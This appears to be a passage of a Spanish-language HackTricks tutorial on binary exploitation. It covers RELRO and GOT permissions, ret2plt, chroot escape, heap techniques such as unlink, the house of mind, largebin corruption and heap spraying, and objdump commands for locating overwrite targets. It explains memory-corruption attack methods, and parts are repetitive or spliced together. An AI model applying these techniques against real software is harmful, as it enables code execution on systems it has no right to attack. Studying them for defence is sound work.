0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
  0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Para el binario sin relro, podemos ver que la dirección de entrada got para fgets es 0x404018. Al mirar los mapeos de memoria, vemos que se encuentra entre 0x404000 y 0x405000, lo que tiene los permisos rw, lo que significa que podemos leer y escribir en él. Para el binario con relro, vemos que la dirección de la tabla got para la ejecución del binario (pie está habilitado, por lo que esta dirección cambiará) es 0x555555557fd0. En el mapeo de memoria de ese binario, se encuentra entre 0x0000555555557000 y 0x0000555555558000, lo que tiene el permiso de memoria r, lo que significa que solo podemos leer de él.

Entonces, ¿cuál es el bypass? El bypass típico que uso es simplemente no escribir en regiones de memoria que relro hace que sean de solo lectura y encontrar una forma diferente de obtener la ejecución de código.

Tenga en cuenta que para que esto suceda, el binario necesita conocer previamente las direcciones de las funciones:

  • Enlace perezoso: la dirección de una función se busca la primera vez que se llama a la función. Por lo tanto, la GOT necesita tener permisos de escritura durante la ejecución.
  • Enlazar ahora: las direcciones de las funciones se resuelven al comienzo de la ejecución, luego se otorgan permisos de solo lectura a secciones sensibles como .got, .dtors, .ctors, .dynamic, .jcr. `**-z relro**y**-z now`**

Para verificar si un programa usa Enlazar ahora, puede hacer:

readelf -l /proc/ID_PROC/exe | grep BIND_NOW

Cuando se carga un binario en memoria y se llama a una función por primera vez, se salta a la PLT (Procedure Linkage Table) y se realiza un salto a la GOT. Si la entrada en la GOT no ha sido resuelta, se invoca al Runtime Linker para que resuelva la dirección y la guarde en la GOT. Cuando se llama a una función, se llama a la PLT, que tiene la dirección de la GOT donde se almacena la dirección de la función. Si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo que el flujo sigue el código de la PLT y averigua la dirección de la función, la guarda en la GOT y la llama.

Al cargar un binario en memoria, el compilador le ha dicho en qué offset tiene que situar datos que se deben cargar cuando se corre el programa.

Lazy binding: la dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.

Bind now: las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. A pesar de esto, en general los programas no están complicados con esas opciones, por lo que estos ataques siguen siendo posibles.

Para saber si se usa el BIND NOW, se puede utilizar el comando "readelf -l /proc/ID_PROC/exe | grep BIND_NOW".

Fortify Source -D_FORTIFY_SOURCE=1 o =2 trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.

Reemplazo de Libsafe: se activa con LD_PRELOAD=/lib/libsafe.so.2 o "/lib/libsave.so.2" > /etc/ld.so.preload. Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado.

ASCII Armored Address Space consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene apenas ningún ataque, y menos en little endian.

Ret2plt consiste en realizar un ROP de forma que se llame a la función strcpy@plt y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el segundo byte de system(). Al final se llama la dirección guardada en GOT que será system().

Falso EBP: para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cualesquiera y después la dirección a &"/bin/sh".

Jaulas con chroot(): debootstrap -arch=i386 hardy /home/user instala un sistema básico bajo un subdirectorio específico. Un admin puede salir de una de estas jaulas haciendo mkdir foo; chroot foo; cd ..

Instrumentación de código: Valgrind busca errores, Memcheck, RAD (Return Address Defender), Insure++.

Heap Overflows: Exploits básicos. Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos. Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado. Si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12, se logra ejecutar la shellcode al salir del programa.

Unset() liberando en sentido inverso: estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado. En ese caso, se pone el shellcode en el chunk c, se usa el chunk a para sobreescribir el b de forma que el size tenga el bit PREV_INUSE desactivado, y se sobreescribe en la cabecera b el size para que valga -4. Entonces, el programa se pensará que "a" está libre y en un bin, por lo que llamará a unlink() para desenlazarlo En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.

After free()

Un puntero previamente liberado es usado de nuevo sin control.

8 Heap Overflows: Exploits avanzados

Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().

The house of mind

Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.

Una llamada a free() provoca llamar a public_fREe(mem), este hace:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

En [1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)

De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en 0x081002a0 podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)

De esta forma se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.

Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Por lo tanto si en av->bins[2] escribimos el valor de __DTOR_END__-12 en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo trozo.

Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2]

En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins[2]

En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA

A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode

De esta forma se llamará a _int_free(TROZO1, TROZO2 bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección

bck->fd = bin; Se cierra la lista haciendo que este apunte a bin

Se necesita:

Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow)

Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante.

El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella.

Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin.

Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir.

Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa.

Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.

Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.

Corrupción LargeBin

Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.

El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.

Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)

Además se ha introducido un parche para hacerlo aún más complicado.

Heap Spraying

Básicamente consiste en reservar toda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximo posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.

Heap Feng Shui

Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huecos.

objdump -d ejecutable —> Desensambla funciones
objdump -d ./PROGRAMA | grep FUNCION —> Obtiene la dirección de la función
objdump -d -Mintel ./shellcodeout —> Para verificar que es nuestra shellcode y obtener los OpCodes
objdump -t ./exec | grep varBss —> Tabla de símbolos, para obtener la dirección de variables y funciones
objdump -TR ./exec | grep exit(func lib) —> Para obtener la dirección de funciones de librerías (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtiene la dirección de puts a sobrescribir en la GOT
objdump -D ./exec —> Desensambla TODO hasta las entradas de la plt
objdump -p -/exec
Info functions strncmp —> Información de la función en gdb

Cursos interesantes

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥